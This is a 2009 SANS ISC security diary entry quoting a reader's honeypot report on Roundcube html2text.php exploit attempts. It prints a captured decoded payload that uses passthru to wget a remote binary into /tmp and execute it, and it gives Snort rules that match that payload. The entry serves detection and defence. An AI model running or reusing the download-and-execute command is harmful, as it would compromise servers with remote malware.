ISC Reader David Wharton sent us an excellent follow-up to our previous diary entry - http://isc.sans.org/diary.html?storyid=5599
With his permission I'm simply going to quote his email report rather than try to summarize his excellent work:
As reported previously I set up a pot of honey for the roundcube vulnerability scanners who continue to hit my server. Based on data gathered from that honeypot, I was able to capture their exploit attempt and set up a second stage honeypot, which my colleague Nathan Fowler (submitter of http://isc.sans.org/diary.html?storyid=5599) and I refer to as a "fermented honeypot".
A fermented honeypot is one that has been set up based on exploit attempts identified by a first stage honeypot. What happens is that the attacker(s) get all sticky in the original honeypot and when they come back for more sweetness, they get the fermented honeypot too. Now, along with getting all sticky in the first honeypot, they get all drunk on excitement in the fermented honeypot. To compound matters, most of those who get into the fermented honeypot are script kiddies and as we all know, they are too young to drink. Since script kiddies are delinquents, they jump on the chance to indulge in the fermented honeypot, adding under age drinking to their list of crimes of hacking and compromising systems.
Consequently, the fermentation is not without a vice. Much like over consumption of alcohol the participant experiences a hang-over directly proportional to the high experienced during intoxication. It is during this stage that the fermented honeypot is the most effective, as the attacker realizes through suffering that they've been the victim and the perceived victim is the attacker.
Development of a fermented honeypot is not without effort. There is no typical Win32 click-n-create nonsense. A fermented honeypot must be specifically crafted to correctly emulate the focused attack. The author, or 'brew master', is well capable of taking a traditional honeypot and fermenting it accordingly. This is the first known instance of a fermented honeypot that we know of.
Now that a fermented honeypot has been explained, here is the interesting data captured:
POST /roundcube/bin/html2text.php HTTP/1.1
43578878 Linux lulzserver 2.6.24-22-server #1 SMP Mon Nov 24 19:14:19 UTC 2008 i686 GNU/Linux
13:20:52.397462 IP 22.214.171.124.33357 > 192.168.1.100.http: . ack 123416 win 702 <nop,nop,timestamp 456497462 418993870>
In both exploits, the payload causes the HTTP Accept Header to be decoded and executed. The second exploit decodes to:
passthru("cd /tmp;wget 126.96.36.199/wcube;chmod +x wcube;./wcube >/dev/null 2>/dev/null &");
This appears to attempt to grab the wcube file from 188.8.131.52 and execute it. Attempts to retrieve that file have met with HTTP 404 responses.
Here are snort rules for the new exploit. These are exploit specific and have not been tested but should do the trick.
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET CURRENT_EVENTS Unknown Roundcube Vulnerability Exploit Attempt 1"; flow:to_server,established; content:"POST /roundcube/bin/html2text.php HTTP/1."; nocase; content:"Accept:
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"ET CURRENT_EVENTS Unknown Roundcube Vulnerability Exploit Attempt 2"; flow:to_server,established; content:"POST /roundcube/bin/html2text.php HTTP/1."; nocase; content:"passthru(|22|cd /tmp|3B|wget 184.108.40.206/wcube|3B|chmod +x wcube|3B|./wcube >/dev/null 2>/dev/null &|22|)|3B|"; classtype:exploit_attempt; reference:url,isc.sans.org/diary.html?storyid=5599; sid:2009xxx; rev:1;)
Jan 13th 2009
1 decade ago